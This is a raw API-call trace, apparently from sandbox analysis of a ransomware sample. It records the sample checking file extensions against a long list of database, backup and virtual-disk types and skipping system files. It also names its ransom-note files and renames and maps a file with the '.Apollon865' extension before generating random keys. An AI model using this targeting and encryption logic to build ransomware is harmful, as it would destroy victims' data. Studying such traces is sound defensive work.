	[0084.074] lstrlenW (lpString="mdbhtml") returned 7
	[0084.074] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.074] lstrlenW (lpString="mdn") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.074] lstrlenW (lpString="mdt") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.074] lstrlenW (lpString="mfd") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.074] lstrlenW (lpString="mpd") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.074] lstrlenW (lpString="mrg") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.075] lstrlenW (lpString="mud") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.075] lstrlenW (lpString="mwb") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.075] lstrlenW (lpString="myd") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.075] lstrlenW (lpString="ndf") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.075] lstrlenW (lpString="nnt") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.075] lstrlenW (lpString="nrmlib") returned 6
	[0084.075] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.075] lstrlenW (lpString="ns2") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.075] lstrlenW (lpString="ns3") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.075] lstrlenW (lpString="ns4") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.075] lstrlenW (lpString="nsf") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.075] lstrlenW (lpString="nv") returned 2
	[0084.075] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.075] lstrlenW (lpString="nv2") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.075] lstrlenW (lpString="nwdb") returned 4
	[0084.075] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.075] lstrlenW (lpString="nyf") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.075] lstrlenW (lpString="odb") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.075] lstrlenW (lpString="odb") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.075] lstrlenW (lpString="oqy") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.075] lstrlenW (lpString="ora") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.075] lstrlenW (lpString="orx") returned 3
	[0084.075] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.076] lstrlenW (lpString="owc") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.076] lstrlenW (lpString="p96") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.076] lstrlenW (lpString="p97") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.076] lstrlenW (lpString="pan") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.076] lstrlenW (lpString="pdb") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.076] lstrlenW (lpString="pdm") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.076] lstrlenW (lpString="pnz") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.076] lstrlenW (lpString="qry") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.076] lstrlenW (lpString="qvd") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.076] lstrlenW (lpString="rbf") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.076] lstrlenW (lpString="rctd") returned 4
	[0084.076] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.076] lstrlenW (lpString="rod") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.076] lstrlenW (lpString="rodx") returned 4
	[0084.076] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.076] lstrlenW (lpString="rpd") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.076] lstrlenW (lpString="rsd") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.076] lstrlenW (lpString="sas7bdat") returned 8
	[0084.076] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.076] lstrlenW (lpString="sbf") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.076] lstrlenW (lpString="scx") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.076] lstrlenW (lpString="sdb") returned 3
	[0084.076] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.076] lstrlenW (lpString="sdc") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.077] lstrlenW (lpString="sdf") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.077] lstrlenW (lpString="sis") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.077] lstrlenW (lpString="spq") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.077] lstrlenW (lpString="te") returned 2
	[0084.077] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.077] lstrlenW (lpString="teacher") returned 7
	[0084.077] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.077] lstrlenW (lpString="tmd") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.077] lstrlenW (lpString="tps") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.077] lstrlenW (lpString="trc") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.077] lstrlenW (lpString="trc") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.077] lstrlenW (lpString="trm") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.077] lstrlenW (lpString="udb") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.077] lstrlenW (lpString="udl") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.077] lstrlenW (lpString="usr") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.077] lstrlenW (lpString="v12") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.077] lstrlenW (lpString="vis") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.077] lstrlenW (lpString="vpd") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.077] lstrlenW (lpString="vvv") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.077] lstrlenW (lpString="wdb") returned 3
	[0084.077] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.078] lstrlenW (lpString="wmdb") returned 4
	[0084.078] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.078] lstrlenW (lpString="wrk") returned 3
	[0084.078] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.078] lstrlenW (lpString="xdb") returned 3
	[0084.078] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.078] lstrlenW (lpString="xld") returned 3
	[0084.078] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.078] lstrlenW (lpString="xmlff") returned 5
	[0084.078] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.078] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.Apollon865") returned 83
	[0084.078] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.105] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.105] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=26976) returned 1
	[0084.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.106] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.106] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.107] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.107] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c60, lpName=0x0) returned 0x15c
	[0084.108] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c60) returned 0x100000
	[0084.111] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.111] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.111] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0084.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0084.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.112] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.112] CloseHandle (hObject=0x15c) returned 1
	[0084.112] CloseHandle (hObject=0x9c) returned 1
	[0084.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.113] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="..") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="temp") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0084.113] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0084.113] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned 72
	[0084.113] lstrcpyW (in: lpString1=0x119e670, lpString2="VISINTL.DLL.trx_dll" | out: lpString1="VISINTL.DLL.trx_dll") returned="VISINTL.DLL.trx_dll"
	[0084.113] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0084.113] lstrlenW (lpString="Apollon865") returned 10
	[0084.113] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0084.113] lstrlenW (lpString=".dll") returned 4
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0084.113] lstrlenW (lpString=".lnk") returned 4
	[0084.113] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0084.114] lstrlenW (lpString=".ini") returned 4
	[0084.114] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0084.114] lstrlenW (lpString=".sys") returned 4
	[0084.114] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0084.114] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0084.114] lstrlenW (lpString="bak") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.114] lstrlenW (lpString="ba_") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.114] lstrlenW (lpString="dbb") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.114] lstrlenW (lpString="vmdk") returned 4
	[0084.114] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.114] lstrlenW (lpString="rar") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.114] lstrlenW (lpString="zip") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.114] lstrlenW (lpString="tgz") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.114] lstrlenW (lpString="vbox") returned 4
	[0084.114] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.114] lstrlenW (lpString="vdi") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.114] lstrlenW (lpString="vhd") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.114] lstrlenW (lpString="vhdx") returned 4
	[0084.114] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.114] lstrlenW (lpString="avhd") returned 4
	[0084.114] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.114] lstrlenW (lpString="db") returned 2
	[0084.114] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.114] lstrlenW (lpString="db2") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.114] lstrlenW (lpString="db3") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.114] lstrlenW (lpString="dbf") returned 3
	[0084.114] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.115] lstrlenW (lpString="mdf") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.115] lstrlenW (lpString="mdb") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.115] lstrlenW (lpString="sql") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.115] lstrlenW (lpString="sqlite") returned 6
	[0084.115] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.115] lstrlenW (lpString="sqlite3") returned 7
	[0084.115] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.115] lstrlenW (lpString="sqlitedb") returned 8
	[0084.115] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.115] lstrlenW (lpString="xml") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.115] lstrlenW (lpString="$er") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.115] lstrlenW (lpString="4dd") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.115] lstrlenW (lpString="4dl") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.115] lstrlenW (lpString="^^^") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.115] lstrlenW (lpString="abs") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.115] lstrlenW (lpString="abx") returned 3
	[0084.115] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.115] lstrlenW (lpString="accdb") returned 5
	[0084.115] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.115] lstrlenW (lpString="accdc") returned 5
	[0084.115] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.115] lstrlenW (lpString="accde") returned 5
	[0084.115] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.115] lstrlenW (lpString="accdr") returned 5
	[0084.115] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.115] lstrlenW (lpString="accdt") returned 5
	[0084.115] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.115] lstrlenW (lpString="accdw") returned 5
	[0084.115] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.116] lstrlenW (lpString="accft") returned 5
	[0084.116] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.116] lstrlenW (lpString="adb") returned 3
	[0084.116] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.128] lstrlenW (lpString="adb") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.128] lstrlenW (lpString="ade") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.128] lstrlenW (lpString="adf") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.128] lstrlenW (lpString="adn") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.128] lstrlenW (lpString="adp") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.128] lstrlenW (lpString="alf") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.128] lstrlenW (lpString="ask") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.128] lstrlenW (lpString="btr") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.128] lstrlenW (lpString="cat") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.128] lstrlenW (lpString="cdb") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.128] lstrlenW (lpString="ckp") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.128] lstrlenW (lpString="cma") returned 3
	[0084.128] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.128] lstrlenW (lpString="cpd") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.129] lstrlenW (lpString="dacpac") returned 6
	[0084.129] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.129] lstrlenW (lpString="dad") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.129] lstrlenW (lpString="dadiagrams") returned 10
	[0084.129] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0084.129] lstrlenW (lpString="daschema") returned 8
	[0084.129] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.129] lstrlenW (lpString="db-journal") returned 10
	[0084.129] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0084.129] lstrlenW (lpString="db-shm") returned 6
	[0084.129] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.129] lstrlenW (lpString="db-wal") returned 6
	[0084.129] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.129] lstrlenW (lpString="dbc") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.129] lstrlenW (lpString="dbs") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.129] lstrlenW (lpString="dbt") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.129] lstrlenW (lpString="dbv") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.129] lstrlenW (lpString="dbx") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.129] lstrlenW (lpString="dcb") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.129] lstrlenW (lpString="dct") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.129] lstrlenW (lpString="dcx") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.129] lstrlenW (lpString="ddl") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.129] lstrlenW (lpString="dlis") returned 4
	[0084.129] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.129] lstrlenW (lpString="dp1") returned 3
	[0084.129] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.130] lstrlenW (lpString="dqy") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.130] lstrlenW (lpString="dsk") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.130] lstrlenW (lpString="dsn") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.130] lstrlenW (lpString="dtsx") returned 4
	[0084.130] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.130] lstrlenW (lpString="dxl") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.130] lstrlenW (lpString="eco") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.130] lstrlenW (lpString="ecx") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.130] lstrlenW (lpString="edb") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.130] lstrlenW (lpString="epim") returned 4
	[0084.130] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.130] lstrlenW (lpString="fcd") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.130] lstrlenW (lpString="fdb") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.130] lstrlenW (lpString="fic") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.130] lstrlenW (lpString="flexolibrary") returned 12
	[0084.130] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0084.130] lstrlenW (lpString="fm5") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.130] lstrlenW (lpString="fmp") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.130] lstrlenW (lpString="fmp12") returned 5
	[0084.130] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.130] lstrlenW (lpString="fmpsl") returned 5
	[0084.130] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.130] lstrlenW (lpString="fol") returned 3
	[0084.130] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.130] lstrlenW (lpString="fp3") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.131] lstrlenW (lpString="fp4") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.131] lstrlenW (lpString="fp5") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.131] lstrlenW (lpString="fp7") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.131] lstrlenW (lpString="fpt") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.131] lstrlenW (lpString="frm") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.131] lstrlenW (lpString="gdb") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.131] lstrlenW (lpString="gdb") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.131] lstrlenW (lpString="grdb") returned 4
	[0084.131] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.131] lstrlenW (lpString="gwi") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.131] lstrlenW (lpString="hdb") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.131] lstrlenW (lpString="his") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.131] lstrlenW (lpString="ib") returned 2
	[0084.131] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.131] lstrlenW (lpString="idb") returned 3
